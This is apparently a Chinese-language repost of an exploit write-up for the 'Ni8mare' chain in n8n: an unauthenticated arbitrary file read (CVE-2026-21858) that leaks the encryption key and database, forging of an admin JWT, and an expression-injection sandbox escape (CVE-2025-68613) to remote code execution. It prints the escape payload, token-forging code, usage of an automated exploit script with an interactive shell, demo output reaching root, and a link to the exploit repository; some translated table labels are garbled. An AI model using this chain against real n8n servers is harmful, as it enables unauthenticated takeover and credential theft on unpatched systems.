n8nNi8mare–未经认证的任意文件读取到远程代码执行链(CVSS10.0)

admin 2026-01-09 23:40:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ThisdocumentdetailstheNi8marevulnerabilitychaininn8n,combiningCVE-2026-21858forarbitraryfilereadandCVE-2025-68613forremotecodeexecution.Attackersexploitcontenttypeconfusiontoaccesssensitivefiles,deriveadminJWTtokens,andbypassthesandboxviaexpressioninjectiontoexecutecommands.Theissueaffectsversionsupto1.65.0andrequiresspecificworkflowconfigurations.Thetextprovidestechnicalanalysis,proof-of-conceptpayloads,andautomatedexploitscripts,recommendingimmediatepatchingtomitigaterisks. 综合评分: 92 文章分类: 漏洞分析,漏洞POC,WEB安全,安全预警


cover_image

n8n Ni8mare – 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0)

Ots安全

2026年1月8日 21:32 广东

威胁简报

恶意软件

漏洞攻击

CVE-2026-21858 + CVE-2025-68613 – n8n 全链

未经身份验证的任意文件读取 → 管理员令牌伪造 → 沙箱绕过 → 远程代码执行

| | | | — | — | | CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) | | CVSS | 10.0 + 9.9(临界值) | | 做作的 | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) | | 固定的 | 1.121.0 (AFR) / 1.120.4+ (RCE) | | 已披露 | 2026年1月7日 11:09 UTC | | 代号 | Ni8mare | | 信用 | 多尔·阿提亚斯(Cyera) | | 开发 | 巧克力 | | 过程 | AI自动化流程:补丁差异分析 → 复现 → 实验室 → 利用(披露后约9小时) | | 类型 | 概念验证 – 并非通用漏洞利用程序(需要特定的工作流程配置,请参阅“限制”部分) |

n8n 上的完整未经认证的远程代码执行链:

  • CVE-2026-21858 – 内容类型混淆 → 任意文件读取
  • 读取配置 + 数据库 → Forge 管理员 JWT
  • CVE-2025-68613 – 表达式注入 → 沙箱绕过 → 远程代码执行

为什么要利用这个漏洞?

此漏洞利用程序的开发独立于Cyera 的文档(在 Cyera 的文档完成后才被发现)。主要区别:

| | Cyera(原创研究) | 此漏洞 | | — | — | — | | 文件读取 | 加载到人工智能知识库 → 通过聊天查询 | 直接 HTTP 响应 | | 先决条件 | 聊天工作流程 + AI 集成 | 任何包含文件上传的表单 | | RCE 方法 | “执行命令”节点(默认禁用) | 表达式注入(适用于默认安装) | | 自动化 | 手动/概念演示 | 全自动 Python 脚本 |

攻击链

┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│&nbsp;1.&nbsp;Read /proc/self/environ → Find HOME directory │
│&nbsp;2.&nbsp;Read $HOME/.n8n/config → Get encryptionKey │
│&nbsp;3.&nbsp;Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│&nbsp;4.&nbsp;Derive JWT secret from encryptionKey │
│&nbsp;5.&nbsp;Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│&nbsp;6.&nbsp;Create workflow with expression injection │
│&nbsp;7.&nbsp;Sandbox bypass via this.process.mainModule.require&nbsp; &nbsp; │
│&nbsp;8.&nbsp;Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 – 通过内容类型混淆进行任意文件读取

补丁

commit&nbsp;c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov&nbsp;1311:51:402025&nbsp;+0100

&nbsp; &nbsp;&nbsp;Mergecommitfrom&nbsp;fork

传奇的“合并来自分支的提交” ——看到这个,说明有人发现了什么劲爆的东西。🌶️

根本原因

// BEFORE (vulnerable)
const&nbsp;files = (context.getBodyData().files&nbsp;as&nbsp;IDataObject) ?? {};
await&nbsp;context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType ===&nbsp;'multipart/form-data',&nbsp;'Expected multipart/form-data');

发送Content-Type: application/json→控制filepath→读取任意文件。

CVE-2025-68613 – 表达式注入远程代码执行漏洞

为什么要走这条绕道程序?

vm2n8n 沙箱使用/ 封装用户代码(代码节点、表达式)isolated-vm。其他远程代码执行 (RCE) 向量:

| 技术 | 地位 | | — | — | | 执行命令节点 | 默认禁用(N8N_ALLOW_EXEC_COMMAND=false) | | SSH/HTTP 节点 | 在远程服务器上执行,而不是在 n8n 主机上执行。 | | Pyodide 沙盒逃生 | CVE-2025-68668 – 需要 Python 代码节点 | | 表达注射 | CVE-2025-68613 – 在默认安装中有效 |

我使用表达式注入是因为它适用于任何默认设置的 n8n 实例——无需特殊节点或配置。Pyodide 绕过方法 (CVE-2025-68668) 需要 Python 代码节点,而该节点可能并非所有实例都可用。

有效载荷

={{ (function(){
&nbsp;&nbsp;varrequire&nbsp;= this.process.mainModule.require;
&nbsp;&nbsp;var&nbsp;execSync =&nbsp;require("child_process").execSync;
&nbsp;&nbsp;return&nbsp;execSync("id").toString();
})() }}

n8n 表达式可以访问this.process.mainModule.require→ 完全沙盒逃逸。

Token Forge

# JWT secret derivation
jwt_secret&nbsp;= sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash&nbsp;= b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token&nbsp;= jwt.encode({"id": user_id,&nbsp;"hash": jwt_hash}, jwt_secret,&nbsp;"HS256")

实验室设置

docker compose up -d
#&nbsp;Wait ~60 seconds&nbsp;for&nbsp;setup
#&nbsp;Form: http://localhost:5678/form/vulnerable-form
#&nbsp;Creds: [email protected] / password

用法

# Read arbitrary&nbsp;file
uv run&nbsp;python&nbsp;exploit.py&nbsp;http://localhost:5678&nbsp;/form/vulnerable-form --read&nbsp;/etc/passwd

# Full chain with&nbsp;command
uv run&nbsp;python&nbsp;exploit.py&nbsp;http://localhost:5678&nbsp;/form/vulnerable-form --cmd&nbsp;"id"

# Interactive&nbsp;shell
uv run&nbsp;python&nbsp;exploit.py&nbsp;http://localhost:5678&nbsp;/form/vulnerable-form

演示

╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858&nbsp;+ CVE-2025-68613&nbsp;- n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version:&nbsp;1.65.0&nbsp;(VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database:&nbsp;1327104&nbsp;bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

局限性

这并非“轻松攻破任何网络”的漏洞利用程序。它需要特定条件才能生效:

| 要求 | 描述 | | — | — | | 包含文件上传的表单 | Target 必须具有包含文件上传字段的表单工作流程 | | 响应 Webhook 节点 | 工作流必须通过 HTTP 响应返回文件内容。 | | 工作流已激活 | 必须激活表单工作流程。 | | 未经身份验证的访问 | 表格必须公开可访问(无需身份验证) |

易受攻击的工作流配置示例:

{
&nbsp;&nbsp;"nodes": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"Form Trigger",
&nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"n8n-nodes-base.formTrigger",
&nbsp; &nbsp; &nbsp;&nbsp;"parameters": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"responseMode":&nbsp;"responseNode",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"formFields": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"values": [{&nbsp;"fieldLabel":&nbsp;"document",&nbsp;"fieldType":&nbsp;"file"&nbsp;}]
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; },
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"Respond",
&nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"n8n-nodes-base.respondToWebhook",
&nbsp; &nbsp; &nbsp;&nbsp;"parameters": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"respondWith":&nbsp;"binary",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"inputDataFieldName":&nbsp;"document"
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; ],
"connections": {
&nbsp; &nbsp;&nbsp;"Form Trigger": {&nbsp;"main": [[{&nbsp;"node":&nbsp;"Respond"&nbsp;}]] }
&nbsp; }
}

关键要素是:fieldType: “file”+ respondWith: “binary”。这种模式在文件处理工作流程(转换器、图像调整器、文档处理器)中很常见。

作品:

  • 返回二进制数据的响应节点表单(文件转换器、处理器)
  • 默认 n8n 安装(表达式注入未被阻止)
  • 本地/Docker部署(数据库+配置存储在磁盘上)

行不通:

  • 没有响应节点的表单(文件已被读取,但HTTP响应中未返回内容)

  • 需要身份验证的表单

  • n8n 云(架构不同,无法访问本地文件)

  • 已打补丁的版本(>= 1.121.0)

  • 注意:无论采用何种数据泄露方法,都会触发此漏洞(任意文件读取)。响应节点只是检索内容的一种方式。根据工作流配置,其他方法(例如开箱即用或其他输出节点)也可能有效。

  • 盲攻击:如果不存在响应节点,n8n 仍然可以读取文件,但无法通过 HTTP 响应提取数据。需要采用其他技术(例如带外攻击、时序攻击)。

参考

Cyera Research – Ni8mare完整报告- Dor Attias原创研究

  • https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858

GHSA-v4pr-fm98-w9pg – CVE-2026-21858

  • https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg

GHSA-v98v-ff95-f3cp – CVE-2025-68613

  • https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp

Nuclei Template CVE-2025-68613

  • https://github.com/MuhamadJuwandi/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68613.yaml

Formidable——“指的是图书馆,而不是那首歌”(感谢Cyera带来的笑声)

  • https://github.com/node-formidable/formidable

项目地址:

https://github.com/Chocapikk/CVE-2026-21858

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《n8n Ni8mare – 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0)》

评论:0   参与:  0